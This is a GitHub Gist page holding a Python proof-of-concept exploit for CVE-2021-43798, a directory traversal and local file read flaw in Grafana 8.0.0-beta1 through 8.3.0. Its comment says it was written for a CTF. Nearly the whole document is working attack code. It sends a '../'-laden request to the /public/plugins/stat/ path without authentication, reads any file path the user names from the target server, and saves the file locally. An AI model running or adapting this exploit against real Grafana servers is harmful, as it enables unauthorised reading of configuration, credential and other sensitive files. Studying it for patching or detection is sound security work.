Created
January 27, 2023 11:45
-
-
Save bryanmcnulty/0f013fb75e94140bae70de2b0e986e45 to your computer and use it in GitHub Desktop.
Exploit for Grafana V8.0.0-beta1 - 8.3.0 - Unauthenticated Directory Traversal and Local File Read
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| ''' | |
| * Written for a CTF :) | |
| * --- | |
| * Author: Bryan McNulty | |
| * Contact: bryanmcnulty@protonmail.com | |
| * GitHub: https://github.com/bryanmcnulty | |
| * --- | |
| * Dependencies: | |
| * - argparse | |
| * - requests | |
| * | |
| * Proof-of-concept for CVE-2021-43798 | |
| * Affects Grafana installations: 8.0.0-beta1 < 8.3.0 | |
| ''' | |
| import requests | |
| import argparse | |
| import sys | |
| def exploit(target_url, file_path): | |
| base_url = target_url.rstrip('/') | |
| traversal = ('../' * 16).rstrip('/') | |
| url = f'{target_url}/public/plugins/stat/{traversal}{file_path}' | |
| session = requests.Session() | |
| request = requests.Request(method='GET', url=url) | |
| prepared = request.prepare() | |
| prepared.url = url | |
| try: | |
| response = session.send(prepared, verify=False, timeout=3) | |
| except requests.exceptions.ConnectTimeout: | |
| print('[!] Request timed out.') | |
| return None | |
| if response.status_code == 200: | |
| if len(response.content) == 0: | |
| print('[-] Remote path is a directory or empty file.') | |
| return response.content | |
| elif response.status_code == 404: | |
| print('[!] Remote file not found:', file_path) | |
| return None | |
| else: | |
| print('[!] Unknown status code:', response.status_code) | |
| return None | |
| def main(): | |
| parser = argparse.ArgumentParser(description='Grafana V8.0.0-beta1 - 8.3.0 - Unauthenticated Directory Traversal and Local File Read') | |
| parser.add_argument('-u', '--url', required=True, help='Target base URL') | |
| parser.add_argument('-f', '--file', required=True, help='Full path to remote file') | |
| parser.add_argument('-o', '--output', required=True, help='Save remote file to this path') | |
| args = parser.parse_args() | |
| content = exploit(args.url, args.file) | |
| if content is None: | |
| sys.exit(1) | |
| print('[+] Exploit successful.') | |
| try: | |
| with open(args.output, 'wb') as out_file: | |
| out_file.write(content) | |
| print('[+] Output saved to file:', args.output) | |
| except Exception as error: | |
| print('[!] Error writing to output file:', error) | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment